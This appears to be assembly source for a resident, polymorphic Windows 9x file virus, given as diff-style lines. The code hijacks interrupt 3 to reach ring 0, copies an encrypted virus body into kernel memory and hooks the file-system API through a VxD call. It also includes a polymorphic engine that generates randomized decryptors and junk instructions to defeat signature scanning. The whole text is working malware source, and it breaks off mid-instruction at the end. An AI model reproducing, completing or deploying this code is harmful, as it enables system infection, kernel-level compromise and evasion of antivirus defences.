ebx,eax ; esi = function addr in mem + + ret + + + + + + + + + + + + + + + + + + + + + + + + + + + + +Encryptor dd 0 + +GetResident: + mov eax,[GetModuleHandle+ebp] + add eax,6ch + mov ebx,'.K3Y' + cmp [eax],ebx + + jz DontGoRing0 + + sub esp,8 + sidt [esp] ; get interupt table + + +; hook int 3 to get get ring 0 + mov esi,[esp+2] + add esi, 3*8 ; pointer to int 3 + mov ebx, [esi+4] + + mov bx,word ptr [esi] ; ebx = old pointer + lea eax,[Ring0Code+ebp] ; eax = new pointer + mov word ptr [esi],ax ; move new pointer to int 3 + shr eax,16 + mov word ptr [esi+6], ax + + pushad + + int 3 ; get into ring 0 + popad + mov [esi],bx ; return old pointer again + shr ebx,16 + mov [esi+6],bx + add esp,8 + + DontGoRing0: + ret + + + + +; --------------------------------------- +; -------------------------------- Ring 0 +; --------------------------------------- + + +Ring0Code: + mov eax,[GetModuleHandle+ebp] + add eax,6ch + mov ebx,'.K3Y' + mov [eax],ebx + mov ebx,[eax+8] + mov [eax+4],ebx + + mov eax,[MemoryTable+ebp] + sub eax,[GuidePos+ebp] + push eax + + add eax,(MemorySize+1)*8 + push eax ; push guide + decrypt size + ; + special variables + add eax,(VirusEnd-VirusStart)*2+20 + +; allocate mem + push eax + push R0_AllocMem + mov edi,ebp + call vxd + pop ecx + test eax,eax + jz ErrorRing0 + +; Copy guide and decryptor to ring 0 mem + + pop ecx ; ecx = guide + decrypt size + ; + special variables + mov esi,[GuidePos+ebp] + mov edi,eax + mov ebx,eax + xchg ebx,[GuidePos+ebp] ; eax = new guide pos + ; ebx = old guide pos + pop edx ; edx = size of guide+decrypt + add edx,eax ; edx = new memory pos + mov [MemoryTable+ebp],edx + + sub eax,ebx ; difference in mem + add [DecryptorPos+ebp],eax ; add to get new pos + + + + + rep movsb ; copy polycode to ring 0 + + mov edi,edx + mov ecx,(MemorySize+1)*(8/4) + xor eax,eax + rep stosd + + add edx,MemorySize*4+4 + mov [VirtualDataSegment+ebp],edx + + pushad + + + mov eax,[VirtualDataSegment+ebp] ; pointer to virtual data + ; segment + + lea edx,[Mem1Table+ebp] + movzx ecx,byte ptr [edx] ; how much data does the + ; decryptor and guide need + ; predefined + inc edx + + CopyDataToVirtualDataSegment: + movzx ebx,byte ptr [edx] ; where in datasegment should + ; we write the data + shl ebx,2 + push dword ptr [edx+1] ; push the data to write + pop [eax+ebx] ; write it to virtual data seg + add edx,1+5*4 ; point to next data block + loop CopyDataToVirtualDataSegment + + popad + + mov [VirusInRing0Mem+ebp],edi + mov ebx,edi + + lea esi, [ebp+VirusStart] + mov ecx, VirusSize + rep movsb ; copy virus to ring 0 + xor eax,eax + + stosd + stosd + +; encrypt virus in memory + pushad + mov esi,[Encryptor+ebp] + push ebx ; pointer to virus in ring0 + mov eax,esp + push eax ; pointer to pointer + push eax + push eax + push eax + mov [PointerToDataSlack+ebp],esp ; all special variables + ; points to pointer to + ; virus in ring 0 + call Compile + + call esi + + add esp,5*4 + + popad + +; copy residentcode to mem + push edi + + lea esi, [ebp+ResidentcodeStart] + mov ecx, ResidentcodeEnd-ResidentcodeStart + rep movsb + + + + + +; hook API function + ; edi is on stack + push InstallFileSystemAPIhook + mov edi,ebp + call vxd + + + pop edi ; 0 edi left on stack + sub edi,ResidentcodeStart + mov [edi+BasePtr+1],edi + mov [edi+OldAPIFunction],eax +BreakPoint1: + + lea eax,[edi+BreakPoint] + lea eax,[edi+BreakPoint] + iretd + +ErrorRing0: + pop eax + xor eax,eax + iretd + + + + + + + + + + + + + + + + + + + +CreateGuideAndDecryptor: + push 1024*1024 + push LMEM_FIXED + LMEM_ZEROINIT + call [AllocMem+ebp] + + mov [MemPtr+ebp],eax + + + + + + + mov edi,eax + lea esi,[Guide+ebp] + + call LinkedListPolymorpher + call Polymorph ; create Guide + + mov [GuidePos+ebp],esi + mov [GuideSize+ebp],eax + + add edi,32 + + lea esi,[Decryptor+ebp] + + call LinkedListPolymorpher + push esi + + call Polymorph ; create Decryptor + + mov [DecryptorPos+ebp],esi + mov [MemoryTable+ebp],edi + + mov [DecryptorSize+ebp],eax + + + call UndefineRegistersAndMem + + mov [HowMuchTrash+ebp],0 + pop esi + + pushad + mov edi,esi + mov eax,Op_trash + bswap eax + xor ecx,ecx + xor edx,edx + FindTrashInstruction: + inc edi + cmp [edi],edx + jz EndOfTrashInstructions + xor ecx,ecx + cmp [edi],eax + jnz FindTrashInstruction + add edi,4 + push eax + xor eax,eax + stosb + pop eax + jmp FindTrashInstruction + + EndOfTrashInstructions: + test ecx,ecx + jnz ReallyEnd + inc ecx + add edi,3 + jmp FindTrashInstruction + + ReallyEnd: + popad + add edi,eax + call MutateCode ; Generic polymorphing + + mov ecx,edi + sub ecx,esi + shr ecx,1 + mov edi,esi + + FindDecryptInstruction: + mov eax,'R[' + repnz scasw ; find [R + inc edi + mov ax,word ptr [edi] + cmp eax,',]' ; is this [Rx], + jnz FindDecryptInstruction ; if not, continue looking + + and edi,0fffffff0h + mov eax,[edi] + bswap eax + + .if eax==Op_xor + jmp CompileEncryptor + + .elseif eax==Op_add + mov eax,Op_sub + bswap eax + stosd + jmp CompileEncryptor + .else + mov eax,Op_add + bswap eax + stosd + jmp CompileEncryptor + .endif + + + CompileEncryptor: + mov [Encryptor+ebp],esi + + + + + + ret + + + + +; --------------------------------------------------- +; --------------------------- The generic polymorpher +; --------------------------------------------------- + +; esi = Data to polymorph +; edi = where to put the created data + +; Returns +; esi = start of created data +; edi = end of created data/start of created code +; eax = size of the created code + +; Defined opcode looks +Op_add equ 'add ' +Op_and equ 'and ' +Op_mov equ 'mov ' +Op_or equ 'or ' +Op_sub equ 'sub ' +Op_xor equ 'xor ' + + +Op_cmp equ 'cmp ' +Op_jnz equ 'jnz ' +Op_jnb equ 'jnb ' +Op_jna equ 'jna ' +Op_jmp equ 'jmp ' + +Op_offset equ 'ofs ' +Op_db equ 'db ' ; output whats in there, + ; dont polymorph, + ; dont compile + +Op_dontparse equ '!emu' ; dont polymorph only + ; compile + + +; special opcodes +Op_encrypt equ 'cpt ' ; encrypt this operand, + ; used to create encryptor/ + ; decryptor + +Op_setinfo equ 'nfo ' ; set info of operand + ; used to define a operand + ; changable or similar. +Op_prefix equ 'pfx ' ; prefix, eg fs:, es: and + ; similar. Will be deleted + ; in future versions + +Op_trash equ 'trsh' ; how mush trash to be + ; produced, use wisely + ; to make your code better + ; or when you need to save + ; the flags + + + + + +LinkedListPolymorpher: + call TablePolymorpher ; 'old' style polymorphics + +; esi -> created data +; edi -> created data+sizeof (created data)+1 + ret + +Polymorph: + add edi,16 + and edi,0fffffff0h + push edi + push edi + + call MutateCode ; Generic polymorphing + pop edi +; esi -> created data + call Optimize ; Optimize the created code + +; esi -> created data +; edi -> created data+sizeof (created data)+1 + push edi + + call Compile ; compile the code to get + ; the size + + pop edi + pop esi + ret + + + + +Regs equ 6 +Registers equ Regs +InfoPtr equ 16 + + + + + +; This polymorher is a bit different from the usuall one. +; It's able to create code that does different things, not just +; the same with a different look. + + + + +TablePolymorpher: + ; A nice recursive function :) + xor eax,eax + xor ecx,ecx + push edi + push 0 + ReadInstruction: ; 'execute' function + mov cl, byte ptr [esi] ; How many bytes to output + inc esi + rep movsb + + ParseCall: ; end of this function, + ; should we call an other + lodsb + test eax,eax + jz ReturnFromCall ; no, return + + + lea ebx,[esi+eax*4] + push ebx ; push return address + + call Random + mov esi,[esi+eax*4] ; address of the function + add esi,ebp + jmp ReadInstruction ; jmp to function 'executer' + + ReturnFromCall: + pop esi ; return from main function + test esi,esi + jnz ParseCall + + NoMoreParsing: + xor eax,eax + stosd + stosd + + pop esi + ret + + Decryptor: + db 0 + + db 1 + dd R0VSize +; dd R0Zero + + db 1 + dd MovePoinerToProgramStart + + + + db 0 + + MovePoinerToProgramStart: + db MovePoinerToProgramStartEnd-$-1 + db "trsh",LinesOfTrash + + db "mov R1,[N" + dd 1 + db "]" + + MovePoinerToProgramStartEnd: + db 0 + + + R0VSize: + db R0VSizeEnd-$-1 + db "mov RX0,N" + dd VSize + R0VSizeEnd: + + db 2 + dd R1VirusStart + dd R1VirusEnd + + db 1 + dd EncryptRX1 + + db 1 + dd SubR0AndJump + db 0 + + SubR0AndJump: + db SubR0AndJumpEnd-$-1 + db "db ",1 ; Bytes not to be morphed + popad + + db "trsh",0 + db "sub RX0,N" + dd 4 + + db "!emu",9 ; dont do anything about this + db "jnb N" + dd 0 + SubR0AndJumpEnd: + db 0 + + R0Zero: + db R0ZeroEnd-$-1 + db "mov RX0,N" + dd 0 + R0ZeroEnd: + + db 2 + dd R1VirusStart + dd R1VirusEnd + + db 1 + dd EncryptRX1 + + db 1 + dd AddR0AndJump + db 0 + + + AddR0AndJump: + db AddR0AndJumpEnd-$-1 + + db "db ",1 ; Bytes not to be morphed + popad + + db "add RX0,N" + dd 4 + + db "trsh",0 + db "!emu",13 ; dont do anything about this + db "cmp RX0,N" + dd VSize + + db "!emu",9 ; dont do anything about this + db "jna N" + dd 0 + + AddR0AndJumpEnd: + + db 0 + + + + R1VirusStart: + db R1VirusStartEnd-$-1 + db "mov RX1,[N" + dd 3 + db "]" + + db "ofs 0" + + db "db ",1 + pushad + + db "nfo RX2" + dd Undefined + + db "add RX1,RX0" + + R1VirusStartEnd: + db 0 + + + + R1VirusEnd: + db R1VirusEndEnd-$-1 + db "mov RX1,[N" + dd 3 + db "]" + + db "add RX1,N" + dd VSize + + db "ofs 0" + + db "db ",1 + pushad + + db "nfo RX2" + dd Undefined + + db "sub RX1,RX0" + R1VirusEndEnd: + db 0 + + + EncryptRX1: + db 0 + + + db 1 + dd RandomReg + db 0 + + + OpcodeXor: + db 4 + db "xor " + db 0 + + OpcodeAdd: + db 4 + db "add " + db 0 + + OpcodeSub: + db 4 + db "sub " + db 0 + + RandomReg: + db 0 + db 1 + dd RandomOpcode + + db 1 + dd RandomizeMemWithReg + db 0 + + RandomizeMemWithReg: + db RandomizeMemWithRegEnd-$-1 + db "[RX1],N" +RandomNumber dd 0 + RandomizeMemWithRegEnd: + db 0 + + + + RandomOpcode: + db 0 + db 3 + dd OpcodeXor + dd OpcodeAdd + dd OpcodeSub + db 0 + + + + + +Guide: + db DefinedTrash-$-1 + db "trsh",LinesOfTrash + DefinedTrash: + + db 1 +; dd RandomEveryBoot + dd RandomEveryTime + + db 1 + dd MakeZeroOrEight + + db 0 + + + RandomEveryTime: + db RandomEveryTimeEnd-$-1 + db "pfx ",64h ; prefix fs: + + db "mov RX0,[N" + dd PointerToRandomMemory + db "]" ; mov X0, fs:[0ch] + RandomEveryTimeEnd: + db 0 + + RandomEveryBoot: + db RandomEveryBootEnd-$-1 + db "nfo R" + RandomEveryBootEnd: + db 3 + dd RndEcx + dd RndEdi + dd RndEsi + + db 0 + + RndEcx: + db RndEcxEnd-$-1 + db "3" + dd Undefined + db "mov RX0,R3" + RndEcxEnd: + db 0 + + + RndEdi: + db RndEdiEnd-$-1 + db "5" + dd Undefined + db "mov RX0,R5" + RndEdiEnd: + db 0 + + RndEsi: + db RndEsiEnd-$-1 + db "6" + dd Undefined + db "mov RX0,R6" + RndEsiEnd: + db 0 + + MakeZeroOrEight: + db MakeZeroOrEight-$-1 + + db "and RX0,N" + dd 8 + + db "add RX0,[N" ; special variable 1 = + dd 1 ; pointer to jump table + + db "]" + db "jmp [RX0]" ; jmp [X0] + MakeZeroOrEightEnd: + db 0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +; --------------------------------------------- +; ---------------- MutateCode ----------------- +; --------------------------------------------- +; ------------- Local variables + + Prefix dd 0 + + EndWhere: + Trash dd 0 + ToReg dd 0 + ToMemValue dd 0 + ToMemReg dd 0 + + FromWhere: + FromValue dd 0 + FromReg dd 0 + FromMemValue dd 0 + FromMemReg dd 0 + + TempWhere: + TempValue dd 0 + TempReg dd 0 + TestMemValue dd 0 + TestMemReg dd 0 + + Temp1 dd 0 + Temp2 dd 0 + + +Writeable equ 1b +Undefined equ 10b ; is has a unknown value +Uninitialized equ -1 +TableSize equ EbxTable-EaxTable + + EndValue dd 0 + EndTypeOfValue dd 0 + + + Tables: ; pointers to the different + ; tables + RegTables dd EaxTable + MemoryTables dd 0 ; Is allocated later + StackTables dd 0 ; first table is EspTable + + EaxTable: + EaxValueNumber dd 0 + EaxValueReg dd 0 + EaxMemoryNumber dd 0 + EaxMemoryReg dd 0 + EaxInformation dd Undefined+Writeable + + EbxTable: + dd 0,0,0,0, Undefined+Writeable + EcxTable: + dd 0,0,0,0, Undefined+Writeable + EdxTable: + dd 0,0,0,0, Undefined+Writeable + EsiTable: + dd 0,0,0,0, Undefined+Writeable + EdiTable: + dd 0,0,0,0, Undefined+Writeable + + ; this table is copied to mem, its used to define + ; starting values for the memory + ; Undefined mem start as Undefined+Writeable (you could change this to + ; only writable for slightly better code.) + + Mem1Table: + db 4 ; how many tables + + db 0 ; which table + dd 0,0,0,0, Undefined ; program entry point + + db 1 + dd 0,0,0,0, Undefined ; pointer to mem 0 + + db 2 + dd 0,0,0,0, Undefined ; decryptor entry point + + db 3 + dd 0,0,0,0, Undefined ; where to start decrypt + + + RandomRegs: + dd Registers dup (-1) ; Random Regs + + + + +; mutates the code in esi and places the result in edi +; returns a pointer to the created code in esi +; returns a pointer to the created code + sizeof(created code) in edi + MutateCode: + push edi + + MorphCodeLoop: + xor eax,eax + dec eax + push edi + lea edi,[ebp+EndWhere] + mov ecx,8 + rep stosd + pop edi + + call Parse + jmp MorphCodeLoop + + + MutateEnd: + pop eax ; return address of Parse + pop esi + add esi,16 + and esi,0fffffff0h + add edi,10 + ret + + + + + + +; ----------------------- Parser + +ParseSpecialVariables: + dd (ParseSpecialVariablesEnd-ParseSpecialVariables-4)/4+1 + dd Op_db, Op_encrypt, Op_setinfo, Op_offset, Op_prefix + dd Op_trash,Op_dontparse,Op_jmp +ParseSpecialVariablesEnd: + +ParseSpecialProcedures: + dd ParseDeclareByte, ParseEncrypt, ParseChangeInfo + dd ParseSaveOffset, ParsePrefix, ParseTrash, ParseDontParse + dd TemporaryParseJump +ParseSpecialProceduresEnd: + +ParseInstructionData: + dd (ParseInstructionDataEnd-ParseInstructionData-4)/4+1 + dd Op_add, Op_mov, Op_sub, Op_or, Op_xor, Op_and +ParseInstructionDataEnd: + + + + + + AddPos equ 0 + MovPos equ 1 + SubPos equ 2 + OrPos equ 3 + XorPos equ 4 + AndPos equ 5 + + +InstructionData: +AddInfo: + dd offset AddInstruction + dd Op_add + +MovInfo: + dd offset MovInstruction + dd Op_mov + +SubInfo: + dd offset SubInstruction + dd Op_sub + +OrInfo: + dd offset OrInstruction + dd Op_or + +XorInfo: + dd offset XorInstruction + dd Op_xor + +AndInfo: + dd offset AndInstruction + dd Op_and + + + + +InstuctionTablesEnd: + + + + +Parse: + push edi + mov ecx,[ParseSpecialVariables+ebp] + lea edi,[ParseSpecialVariables+ebp+4] + + + + lodsd + bswap eax + + repnz scasd + test ecx,ecx + jz ParseInstruction + + pop edi + lea ebx,[ParseSpecialProceduresEnd+ebp] + imul ecx,ecx,4 + sub ebx,ecx + mov ebx,[ebx] + add ebx,ebp + jmp ebx + + + ParseDeclareByte: + mov edx,Op_db + call OutputOnlyOpcode + xor eax,eax + lodsb + mov ecx,eax + stosb ; number of bytes to declare + rep movsb + ret + + ParseEncrypt: + call GetOperand + ret + + ParseChangeInfo: + mov eax,666666h + call GetOperand + mov ecx,eax + lodsd + xchg eax,ecx + call ChangeInfo + ret + + ParseSaveOffset: + mov edx,Op_offset + call OutputOnlyOpcode + movsb + ret + + ParsePrefix: + xor eax,eax + lodsb + mov [Prefix+ebp],eax + ret + + ParseTrash: + xor eax,eax + lodsb + mov [HowMuchTrash+ebp],eax + ret + + ParseDontParse: + xor eax,eax + lodsb + mov ecx,eax + add edi,16 + and edi,0fffffff0h + rep movsb + ret + + TemporaryParseJump: + add edi,16 + and edi,0fffffff0h + + call OutputPrefix + mov eax,Op_jmp + bswap eax + stosd + + call GetOperand + + add eax,'0' + add eax,']'*256 + shl eax,16 + mov ax,'R[' + stosd + ret + + + + ParseInstruction: + mov ecx,[ParseInstructionData+ebp] + lea edi,[ParseInstructionData+ebp+4] + repnz scasd + pop edi + test ecx,ecx + jz MutateEnd + + + lea ebx,[InstuctionTablesEnd+ebp] + imul ecx,ecx,8 + + sub ebx,ecx + push ebx + + ParseOperands: + call GetOperand + sub ebx,4 + + push ebx ; ToType + push eax ; ToOperand + + inc esi + call GetOperand + push ebx ; FromTypeOfValue + push eax ; FromOperand + + mov [EndValue+ebp],eax + mov [EndTypeOfValue+ebp],ebx + + call GenerateTrash + + mov eax,[esp+8] ; ToOperand + mov ebx,[esp+12] ; ToType + mov ecx,Writeable + call DeleteFromInfo + + pop [FromOperand+ebp] + pop [FromTypeOfValue+ebp] + + pop eax + pop ebx + mov [ToOperand+ebp],eax + mov [ToType+ebp],ebx + + mov ecx,Writeable + call DeleteFromInfo + + + pop [EmulateInstruction+ebp] + + call OutputPrefix + call EmuProc + + call GenerateTrash + ret + + +; return +; eax = register or number +; ebx = +; 0 = value/number +; 4 = value/register +; 8 = memory/number +; 12 = memory/register + + +; return +; EBX = 0 if value and 4 if memory +; |'V' or 'M' +; | +; db "M" +ReadTypeOfData: + xor eax,eax + xor ebx,ebx + lodsb + cmp al,'M' + sete bl + shl bl,3 + ret + +; return +; EAX = the number or register +; EBX = 0 if number and 4 if register + +; This procedure is in the "copy to ring 0" mem. + +;GetOperand: +; xor edx,edx +; mov al,byte ptr [esi] +; cmp al,'[' +; setz dl +; mov ecx,edx +; add esi,edx +; shl edx,3 +; mov ebx,edx ; ebx = 0 or 8 + +; lodsb +; cmp al,'S' ; A variable +; jnz Label53 + +; mov eax,[PointerToDataSlack+ebp] +; mov edx,[esi] +; mov eax,[eax+edx*4] +; mov [esi],eax +; mov eax,'V' +; xor edx,edx +; +; Label53: +; cmp al,'R' +; setz dl +; shl edx,2 +; add ebx,edx ; ebx = ebx + (0 or 4) +; +; test edx,edx ; is value +; jz ReadValue +; +; xor eax,eax +; lodsb ; read register + +; cmp al,'X' +; jz GetRandomReg + +; sub eax,'0' + +; add esi,ecx +; ret + +; ReadValue: +; lodsd +; add esi,ecx +; ret + + +GetRandomReg: + push ebx + call AsciiToNum + add esi,ecx + shl eax, 2 + lea eax,[eax+ebp+RandomRegs] ; eax -> RandomReg + mov ebx,[eax] + + cmp ebx,Uninitialized + jz GetRandomRegPtrInitialize ; There is no RnR + ; Xx, create one + xchg eax,ebx ; eax = Xx + pop ebx + ret + +GetRandomRegPtrInitialize: + push eax + + + call GetWriteableReg + pop ebx + + mov [ebx],eax ; Mov RR,Random Operand + pop ebx + ret + + + + + + + + + + + + + + + + + + + + + + + + + + + +; ----------------------------------------------- +; ---------------------------- Generic polymorher +; ----------------------------------------------- + +; This proc takes data from WhereFrom and WhereTo and +; creates instructions from that data. + +HowMuchTrash dd LinesOfTrash + +RandomProcs: + db 6 ; number of instructions + + db 6 ; how often it should come up + db 2 + db 1 + db 1 + db 1 + db 1 + + dd MovPos + dd AddPos + dd SubPos + dd OrPos + dd XorPos + dd AndPos + + + + GenerateTrash: + mov eax,[HowMuchTrash+ebp] ; 1/LinesOfTrash that we + ; stop creating trash + inc eax + call Random + + test eax,eax + jz Return + + + + + call GetWriteable + mov [ToOperand+ebp],eax + mov [ToType+ebp],ebx + + call RandomOperand + mov [FromOperand+ebp],eax + mov [FromTypeOfValue+ebp],ebx + + lea ebx,[RandomProcs+ebp] + + xor eax,eax + xor ecx,ecx + xor edx,edx + mov cl, byte ptr [ebx] + + Label36: + inc ebx + mov dl, byte ptr [ebx] + add eax,edx + loop Label36 + + call Random + + lea ebx,[RandomProcs+ebp] + + Label37: + inc ebx + mov dl, byte ptr [ebx] + sub eax, edx + jnc Label37 + + lea eax,[RandomProcs+ebp] + sub ebx,eax + dec ebx + shl ebx,2 + inc ebx + + mov dl,byte ptr [eax] + add ebx,edx + add ebx,eax + + mov ebx,[ebx] + + lea ebx,[InstructionData+ebx*8+ebp] + + mov [EmulateInstruction+ebp],ebx + call EmuProc + jmp GenerateTrash + + +; ------------------------------------------------ +; ---------------------------- Emulation functions +; ------------------------------------------------ + + AddInstruction: + add [eax+edx],ecx + ret + + SubInstruction: + sub [eax+edx],ecx + ret + + MovInstruction: + xor ebx,ebx + mov dword ptr [eax],ebx + mov dword ptr [eax+4],ebx + mov dword ptr [eax+8],ebx + mov dword ptr [eax+12],ebx + + mov [eax+edx],ecx + + ret + + OrInstruction: + or [eax+edx],ecx + ret + + XorInstruction: + xor [eax+edx],ecx + ret + + AndInstruction: + and [eax+edx],ecx + ret + +EmulateInstruction dd 0 + +ToOperand dd 0 +ToType dd 0 + +FromOperand dd 0 +FromTypeOfValue dd 0 + +EmuProc: + +ChangeRegPart: + mov eax,[ToOperand+ebp] + mov ebx,[ToType+ebp] + + mov edx,[EmulateInstruction+ebp] + mov edx,[edx+4] + shr ebx,2 + inc ebx + call OutputOpcode + dec ebx + shl ebx,2 + + call UndefineDependentOperands + + pushad + mov ebx,[EmulateInstruction+ebp] + mov ebx,[ebx+4] + + cmp ebx,Op_mov + jnz Label34 + + mov eax,[ToOperand+ebp] + mov ebx,[ToType+ebp] + mov ecx,Undefined + call DeleteFromInfo + Label34: + popad + + + call IsOperandUndefined + jz ChangeOutput + + call GetTable + + mov ecx,[FromOperand+ebp] + mov edx,[FromTypeOfValue+ebp] + + xor ebx,ebx + + test edx,edx + jz ValueIsProperlyEmulated_DontNeedThisHack + + add ebx,[eax] + ValueIsProperlyEmulated_DontNeedThisHack: + add ebx,[eax+4] + add ebx,[eax+8] + add ebx,[eax+12] + test ebx,ebx + jnz MakeUndefined + + YesChangeIt: + mov ebx,[EmulateInstruction+ebp] + mov ebx,[ebx] + add ebx,ebp + call ebx + + ChangeOutput: + call GetEqualValue + + shr ebx,2 + + call Output + ret + + MakeUndefined: + mov ebx,Undefined + or [eax+InfoPtr],ebx + jmp ChangeOutput + + +FoundEquals dd 0 +ReadFromType dd 0 + +GetEqualValue: + xor ebx,ebx ; register table + + mov [FoundEquals+ebp],ebx + mov [ReadFromType+ebp],ebx + + mov ecx,Registers + call CompareOperands + + mov ecx,[ToType+ebp] + cmp ecx,4 + jae DontTryMemory + + mov ecx,MemorySize + mov [ReadFromType+ebp],4 + call CompareOperands + + DontTryMemory: + + push [FromOperand+ebp] + push [FromTypeOfValue+ebp] + + mov eax,[FoundEquals+ebp] + inc eax + mov ecx,eax + call Random + + + imul eax,eax,8 + mov ebx,[esp+eax] + mov eax,[esp+eax+4] ; eax = Operand + + imul ecx,ecx,8 + add esp,ecx + + test ebx,ebx + jz Return ; + + mov ecx,Writeable + call DeleteFromInfo ; delete writeable from mem + ; might still create bugs!!! + ; will be fixed in the future + ; (the odds a bug will happen + ; is extremly low) + + ret + + CompareOperands: + pop [ReturnAddress+ebp] + inc ecx + CmpLoop: + dec ecx + jnz Label30 + jmp [ReturnAddress+ebp] + Label30: + + mov eax,ecx + mov ebx,[ReadFromType+ebp] + + call ReadOperand + + cmp eax,[FromOperand+ebp] + jnz CmpLoop + + cmp ebx,[FromTypeOfValue+ebp] + jnz CmpLoop + + cmp ecx,[ToOperand+ebp] + jz CmpLoop + + push ecx ; Operand + mov ebx,[ReadFromType+ebp] ; Type + add ebx,4 + push ebx + inc [FoundEquals+ebp] + jmp CmpLoop + + +UndefineDependentOperands: + call IsOperandUndefined + jnz Return + + pushad + xor ebx,ebx + mov ecx,Registers + + call Undefine + + mov ebx,4 + mov ecx,MemorySize + call Undefine + + popad + ret + + + Undefine: + inc ecx + mov edx,ebx + UndefineLoop: + + dec ecx + jz Return + + mov eax,ecx + mov ebx,edx + cmp eax,[ToOperand+ebp] + jz UndefineLoop + + call ReadOperand + sub ebx,4 + cmp ebx,[ToType+ebp] + jnz UndefineLoop + + cmp eax,[ToOperand+ebp] + jnz UndefineLoop + + + + push ecx + mov eax,ecx + mov ebx,edx + mov ecx,Undefined + call SetInfo + pop ecx + jmp UndefineLoop + + +; ----------------------------------------------- +; -------------------------- High level functions +; ----------------------------------------------- + + + + +RandomOperand: + mov eax,3+EndValueFrecuency + shr ebx,2 ; ebx = 0 or 1 + sub eax,ebx ; eax = 3 or 2 + + call Random + xor ebx,ebx + + test eax,eax + jz Random ; eax = 1 or 2 + + dec eax + jz GetReadableReg + + + sub eax,EndValueFrecuency+1 + jz GetReadable + + mov eax,[EndValue+ebp] + mov ebx,[EndTypeOfValue+ebp] + and ebx,111b + ret + + +GetWriteableReg: + call GetWriteableLabel1 + test ebx,ebx + jnz GetWriteableReg + ret + +; Returns a writeable operand +GetWriteable: + mov eax,3 ; create more reg then + call Random ; mem + test eax,eax + jnz GetWriteableReg + + GetWriteableLabel1: + + call GetReadable + mov ecx,Writeable + sub ebx,4 + call TestInfo + jnz GetWriteableLabel1 + ret + + +GetReadableReg: + call GetReadable + cmp ebx,4 + jnz GetReadableReg + ret + + +; Returns a operand +GetReadable: + mov ebx,4 + + mov eax,Registers+MemorySize + call Random + inc eax + cmp eax,Registers+1 + jl Return + + shl ebx,1 + sub eax,Registers+1 + ret + + + + + +; input +; eax = register or number +; ebx = number or register and value or mem +; ebx = 0 = number +; ebx = 1 = register +; ebx = 2 = [number] +; ebx = 3 = [register] + + + +; ------------------------------------------ +; ---------------------- Low level functions +; ------------------------------------------ + +Random: + push ebx + push ecx + push edx + + mov ebx,eax + + add eax,[RandomNumber+ebp] + mov cl,al + rol eax,cl + add eax,14 + xor ecx,46 + ror eax,cl + add eax,ecx + xor [RandomNumber+ebp],eax + + test ebx,ebx + jz NoMod + + xor edx,edx + div ebx + xchg eax,edx + NoMod: + pop edx + pop ecx + pop ebx + + ret + + +; input +; edx = opcode + +OutputOnlyOpcode: + add edi,16 + and edi,0fffffff0h + bswap edx + mov [edi],edx + add edi,4 + ret + +OutputOpcode: + call OutputOnlyOpcode + jmp OutputNotComma + +Output: + mov byte ptr [edi],',' + inc edi + +OutputNotComma: + push ecx + xor ecx,ecx + cmp ebx,1 + setbe cl + lea ecx,[ecx*8+ecx] + push ecx + test ecx,ecx + jnz Label10 + mov byte ptr [edi],'[' + inc edi + + Label10: + + test ebx,1 + setnz cl + + shl ecx,2 + add ecx,'N' + mov byte ptr [edi],cl + inc edi + cmp ecx,'N' + jz OutputNumber + add eax,'0' + stosb + sub eax,'0' + Label11: + pop ecx + test ecx,ecx + jnz Label12 + + mov byte ptr [edi],']' + inc edi + + Label12: + pop ecx + + ret + + OutputNumber: + pop ecx + push ecx + test ecx,ecx + setnz cl + + push eax + mov eax,'S' + mov byte ptr [edi+ecx-1],al ; variable + pop eax + stosd + + jmp Label11 + + +GetTable: + cmp ebx,8 + stc + jz Return + + dec eax + imul eax,eax,20 ; TableSize + add eax,[Tables+ebx+ebp] + clc + ret + + + +SetInfo: + push eax + call GetTable + jc ReturnPopEax + or [eax+InfoPtr],ecx ; Set attribute + pop eax + ret + +DeleteFromInfo: + push eax + call GetTable + jc ReturnPopEax + or [eax+InfoPtr],ecx ; Set attribute + xor [eax+InfoPtr],ecx ; Clear it + pop eax + ret + +ChangeInfo: + push eax + call GetTable + jc ReturnPopEax + mov [eax+InfoPtr],ecx + pop eax + ret + + +IsOperandUndefined: + push ecx + mov ecx,Undefined + + + + call TestInfo + pop ecx + jz Return + jc SetZeroFlag + ret +SetZeroFlag: + cmp eax,eax + ret + + +TestInfo: + push eax + call GetTable + + jc ReturnPopEax + test [eax+InfoPtr],ecx + mov ecx,0 + setnz cl + lahf + shl cl,6 + btr ax,6+8 + or ah,cl + sahf + pop eax + clc + ret + + + + +; eax = The operand +; ebx +; Which table to read from + +ReadOperand: + call IsOperandUndefined + jz OperandIsUndefined + call GetTable + + + push ecx + xor ebx,ebx + mov ecx,16 + + + FindValueLoop: + sub ecx,4 + jecxz Label32 + + cmp [eax+ecx],ebx + jz FindValueLoop + + Label32: + mov ebx,ecx + mov eax,[eax+ecx] + pop ecx + ret + +OperandIsUndefined: + add ebx,4 + ret + + +ReturnPopEax: + pop eax + ret + + +GetWhereFrom: + lea ebx,[FromWhere+ebp-4] + jmp GodDamnedLabelDammit +GetWhereTo: + lea ebx,[EndWhere+ebp-4] + GodDamnedLabelDammit: + push ebx + xor eax,eax + dec eax + GodDamnedLoopDammit: + add ebx,4 + cmp eax,[ebx] + jz GodDamnedLoopDammit + mov eax,[ebx] + sub ebx,[esp] + sub ebx,4 + add esp,4 + ret + +OutputPrefix: + push eax + + xor eax,eax + cmp eax,[Prefix+ebp] + jz OutputPrefixEnd + + add edi,16 + and edi,0fffffff0h + mov eax,Op_db + bswap eax + stosd + xor eax,eax + inc eax + stosb + xor eax,eax + xchg eax,[Prefix+ebp] + + stosb + +OutputPrefixEnd: + pop eax + ret + + + + + + + + + + +Optimize: + call ClearDoNothingInstrucions +; call ClearUnnessesaryInstructions + + xchg esi,edi + + + ret + + +MaybeUnnessesaryInstructions: + dd Op_mov, Op_add, Op_sub, Op_and, Op_or, Op_xor +MaybeUnnessesaryInstructionsEnd: + +ClearUnnessesaryInstructions: + push edi + + sub esi,16 + + ClearUnnessesaryInstructionsLoop: + push edi + add esi,16 + and esi,0fffffff0h + lodsd + bswap eax + + lea edi,[MaybeUnnessesaryInstructions+ebp] + mov ecx,(MaybeUnnessesaryInstructionsEnd-MaybeUnnessesaryInstructions)/4 + repnz scasd + + test ecx,ecx + jz DontOptimize2 + + xor eax,eax + + .while (al!=',') + lodsb + + .endw + + mov edi,esi + mov ecx,1000h + FindNextEntry: +; rep scasb + jecxz DontOptimize2 + + mov ebx,edi + and edi,0fffffff0h + sub ebx,edi + cmp ebx,4 + jz DontOptimize2 + + mov ebx,Op_mov + cmp 